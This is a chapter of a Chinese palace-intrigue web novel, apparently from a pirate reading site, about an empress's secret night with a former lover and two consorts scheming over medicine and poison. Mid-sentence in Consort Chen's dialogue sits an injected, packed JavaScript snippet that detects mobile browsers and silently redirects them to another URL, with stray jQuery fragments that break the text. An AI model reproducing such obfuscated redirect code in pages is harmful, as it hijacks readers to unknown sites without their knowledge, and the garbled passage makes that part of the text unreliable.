默认冷灰
24号文字
方正启体

34. 偷梁换柱

作者:枕月归本书字数:K更新时间:
    月色如霜,浸透琉璃瓦当,将正殿外的回廊染成一道冷银。


    玖熙候在朱漆门外,听着更漏滴答,待巡夜禁军的甲叶声远逝,才屈指轻叩门环。


    门轴 “吱呀” 轻响,殿内烛火摇曳,映得屏风上的跪影簌簌发颤。


    闻声,皇后抬手轻挑幔角,瞥见屏风上跪伏的人影,旋即拾起散落在地的裙裾,披裹于身。


    “都妥当了?” 她绕过屏风,指尖无意识地绞着裙带,目光却瞟向寝榻。皇帝侧卧酣睡,龙涎香混着酒气弥漫,唯有喉间低鼾证明他未醒。


    玖熙轻点头,躬身系紧她腰间玉带,声线压得极低:“一炷香后,假山暗哨必鸣。娘娘切莫延迟。”


    偏殿内。


    皇后赤着一双玉足,踏在冰凉刺骨的金砖地上。她怔怔望着烛影下那只黑匣子,心绪翻涌,踟蹰不定。


    上官家的女儿,怎能……怎能为了争宠,行此不堪之事?


    她猛地攥紧裙裾,急急拢向身前,试图将那抹被烛火映照得无处遁形的猩红肚兜,死死裹藏进更深的阴影里。


    可……若不如此,她又如何护得住整个上官氏?


    阖族荣辱,尽系于她一身。若不借腹中龙裔固位,她这摇摇欲坠的后位……还能靠什么支撑?


    她指尖发颤,拨开了匣上铜锁。


    匣内蜷缩的人影倏然入目,骇得她魂飞魄散,踉跄着连退数步,脊背重重撞上冰冷的殿柱。


    “刘……勇!”皇后惊喘出声。


    当年,刘勇的尸骨是她亲眼看着下葬的。


    他怎么可能还活着?


    她步步后退,本能地拉开距离。不愿靠近,更不愿再回想起往日的种种。


    “一别数载,娘娘……别来无恙?”刘勇却如影随形般欺近,铁臂一箍便不容抗拒地将她纤腰锁入怀中,下颌强硬地抵上她微凉的锁骨,灼热吐息拂过她颈侧肌肤。


    看她鬓发散落在肩,眉眼间透露的恐慌,刘勇喉间滚出一声低沉的冷笑,呵……” 箍在她腰间的手臂又收紧几分, “若真安好……今夜,又怎会容臣在这偏殿深处,得窥娘娘……罗衫半解,玉体横陈的妙景?”


    不容皇后回应,刘勇指尖一勾,迫她扬起下颌,气息灼热地烙在她耳畔:“天家凉薄,臣……当年便劝过娘娘的。”


    “哼!” 一声淬了冰的冷笑自她齿缝迸出,脊背绷如寒弓,连颈侧被他触碰的肌肤都泛起细栗,分明心底悔恨横生,却咬着牙要将苦水咽下,不肯叫他瞧出半分,“本宫偏就贪恋这凉薄天家!”


    “你——!”


    刘勇目眦欲裂,眉峰骤起戾色。他一把钳住皇后手腕,狠狠将她掼向榻间:“既是借腹固位,便休再提什么情薄情厚!”


    那抹猩红肚兜被凌空掷出纱幔,委落于地。


    她僵卧榻间,耳尖倏地灼烧起来,如两滴凝滞的血珠,映着颊边散乱的云鬓。


    意乱情迷,她分不清自己到底在做些什么,只是醒来的时候,悔意如冰潮倒灌,寸寸噬骨。


    到底,她与皇帝也曾情投意合。走到今日这步,是万没料想到的。


    刘勇指尖犹自捻绕着她一缕青丝,气息缠绵地低唤:“颜儿……”


    她骤然扬手,一记玉掌狠狠掴在他面上:“大胆,颜儿岂是你能唤的?”


    “我不能,难道皇上他便肯唤你颜儿吗?” 刘勇铁掌如枷,死死扣住她腕骨,眼底翻涌的恨意几欲噬人,“又或是说,皇上他肯临幸于你吗?”


    偏不逢时,假山处的暗哨声敲碎了殿内骤然的宁静,刘勇松手跪在榻上,看着皇后无事一般地收拢起地砖上的衣物时,“娘娘……”


    他声音陡然沉哑,“只要你回头,多年前臣说过的话始终作数。”


    她将最后一件外裳拢于肩头,屏风上投下她挺直如刃的孤影:“刘勇,听清了——”


    “本宫,生是皇后,死亦是凤骨。而你……” 她侧影微转,余光如霜刃扫过,“永生永世,只配伏地自称一句——微臣!”


    正殿内。


    皇后肩脊虚虚倚着榻沿,眸光细细描摹着皇帝的面容。恍惚间,脑海中竟浮现与刘勇翻云覆雨的画面。


    她指尖掐住掌心,强迫自己清醒。


    垂眸再看向皇帝时,却生了空落之感。


    分明是朝夕相对的眉眼,此刻却陌生得令人心悸——


    这……不该是他的模样?本宫记得,他眉尾处有颗痣,如今怎没了?


    究竟是何时变得,本宫……竟浑然未觉?


    她挽袖抬手,指尖沿着皇上的眉骨轻轻扫过。


    “皇后?”


    皇上倏然醒来,她指尖下意识地缩了回去,低声应着,“陛下。”


    “耳垂竟这般绯红?”


    他眸光在皇后耳垂上逡巡片刻,抬手将她从地砖上扶起,“地上冰寒,切莫再伤了身子。”


    皇帝紧攥着她冰凉的双手,眼睑微垂,指腹却在她手背上缓缓碾过: “沈氏开的药……可还对症?”


    皇上鲜少这样关心她,一时间,她觉得有些心慌,莫不是叫他瞧出了什么端倪?


    她羽睫轻抖,强做镇定道:“到底是沈长明之女,医术总差不到哪里去。”


    “嗯?”皇帝倏然起身,取过檀木架上的玄黑龙袍振衣披上,金丝盘龙扣未系,回眸时眸光似淬冰针:“说到这沈氏,今日宴请将军府的女眷,怎不见她?”


    原是心中叨念着沈氏!


    皇后心底冷笑,到底是自己高看了他这个皇帝。


    她抬手取下紫檀架上的蟠龙玉带,金镶玉扣擦过他腰腹,一匝匝缠紧那明黄缎面:“许是染了风寒,臣妾稍后遣人去将军府探望一二。”


    ###


    含香殿。


    “梅妃姐姐。“辰妃自入宫以来,还是头一次进这含香殿。


    殿门方启,一缕清寒的梅香便悄然沁入鼻息,萦绕不去。


    就连那宫墙厚重的青砖之上,亦錾刻着疏影横斜的梅花暗纹。


    “辰妃?”梅妃玉指轻抚着高隆的孕腹,另一手仍搭在皖柳腕上,自言自语道,“她怎么来了?”


    “今日岁除,依祖制皇上当宿于中宫。” 辰妃唇畔噙一抹浅笑,眼风微扫,身侧侍女立时奉上剔红锦匣,轻置于梅妃案前,“妹妹这才偷得闲暇,特来探望姐姐。”


    她顺势执起梅妃的手,指尖温软,语调轻柔:“瞧姐姐如今气色渐好,想来身体已无大碍了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15989061|177999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吧?”


    说时,辰妃眼波早已游走在含香殿各个角落。


    “幸得右将军夫人与刘太医,本宫才勉强保住胎儿。”辰妃话中有话,梅妃原本就悬着的心,此刻更加警惕了些。


    她抽回手,目光顺着辰妃的神色游走在含香殿。


    “辰妃可是看上了什么?”梅妃看着殿内陈设,差异地问道。


    辰妃闻言,垂睫掩去眸底一丝冷光,曼声轻叹: “姐姐,你就没想过,为何皇上下令彻查姐姐中毒一事至今还无结果?”


    她款款起身,素手轻拂裙裾, “姐姐圣眷优渥,龙裔在怀——按常理,那慎刑司的虎狼,早该将凶徒锁拿入狱,悬首于宫门高杆,以儆效尤。”


    语落片刻,辰妃盈盈一礼,“姐姐早些休息,妹妹就不打扰了。”


    殿门合拢的轻响,终于碾碎了令人窒息的沉寂。


    “娘娘……” 皖柳苍白着脸,直到廊下辰妃的玄色身影彻底融入夜色,才敢颤声开口,“辰妃娘娘她方才……”


    “她的话,并非全无道理。” 梅妃眸光幽沉,凝在案上那只刺目的红锦匣上,指尖无意识地描摹着匣盖边缘的缠枝纹,“只是此刻特意点破……怕是醉翁之意,不在酒了。”


    皖柳拆开红锦匣,里面赫然装着一支素银钗。


    “辰妃娘娘这是何意?” 皖柳 “啪” 地合上匣子,檀木盖碰撞的声响惊得殿内侍女身子微颤,“拿这等过时银饰充体面,当咱们含香殿是捡漏的宫市吗?”


    梅妃摆手散了殿内侍女,徒留皖柳一人。


    她起身来回踱步,掌心贴在隆起的小腹上,沉思了片刻后,才停下道,“皖柳。”


    “去备几样东西——” 梅妃眉心深蹙,一把攥住皖柳手腕将她拉近,俯在侍女耳畔轻说些什么后,旋即便遣她速去速回。


    太医院。


    天刚蒙蒙亮,皖柳便依着梅妃的吩咐,早早到了太医院。


    入门,只见刘太医正对着一株枯树发怔。皖柳轻唤数声,他才缓缓回神。


    算来刘太医今年正逢天命之年,耳朵越发不灵光了。


    “刘太医,您瞧瞧。” 皖柳将裹好的药渣摊开,递到刘太医面前。刘太医指尖捻起一撮,凑到鼻尖,轻轻嗅闻。


    “这药并无问题。” 刘太医将药渣放下,摇了摇头说到。


    闻言,皖柳暗自松了口气。


    幸而含香殿地处僻静,鲜有人至,否则怕真会应了娘娘的担忧。


    她将药渣重新裹好,恭敬呈与刘太医:“娘娘这几日心慌得厉害,昨夜又着了寒,通宵未眠。原疑心是这药不妥。既然药无碍,还劳烦刘太医再为娘娘开几副安胎的方子。”


    说罢,她又取出一只荷包,悄然塞入刘太医手中,声音压得更低:“此事……万望刘太医切莫声张。”


    待到药抓好后,皖柳径直朝着未央宫走去。


    此时日头初上山头,为万物镶上一道金边,流光灼灼。


    梅妃倚在亭中歇息,远远就见皖柳碎步疾行而来。


    “娘娘。”皖柳扬了扬手中的药包,“一切都按娘娘吩咐,准备妥当了。”


    梅妃唇角微扬:“万事俱备,只待东风至了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)